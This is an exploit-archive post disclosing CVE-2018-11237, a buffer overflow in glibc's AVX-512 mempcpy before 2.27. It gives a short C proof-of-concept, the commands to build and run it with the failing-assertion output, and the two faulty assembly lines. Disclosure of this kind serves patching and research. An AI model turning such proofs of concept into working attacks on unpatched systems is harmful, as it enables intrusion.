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GNU glibc Local Buffer Overflow

GNU glibc Local Buffer Overflow
Posted May 24, 2018
Authored by Jameel Nabbo

GNU glibc versions prior to 2.27 suffer from a buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2018-11237
MD5 | f018870406416ccaaf7f240ebf18ae10

GNU glibc Local Buffer Overflow

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# Exploit Title: GNU glibc < 2.27 - Local Buffer Overflow
# Date: 2018-05-24
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com <http://jameelnabbo.com/>
# Vendor Homepage: http://www.gnu.org/ <http://www.gnu.org/>
# CVE: CVE-2018-11237


# POC:

$ cat mempcpy.c
#define _GNU_SOURCE 1
#include <string.h>
#include <assert.h>

#define N 97699
char a[N];
char b[N+128];

int
main (void)
{
memset (a, 'x', N);
char *c = mempcpy (b, a, N);
assert (*c == 0);
}
$ gcc -g mempcpy.c -o mempcpy -fno-builtin-mempcpy
$ ./mempcpy
mempcpy: mempcpy.c:14: main: Assertion `*c == 0' failed.

The problem is these two lines in memmove-avx512-no-vzeroupper.S:

vmovups %zmm4, (%rax)
vmovups %zmm5, 0x40(%rax)

For mempcpy, %rax points to the end of the buffer.

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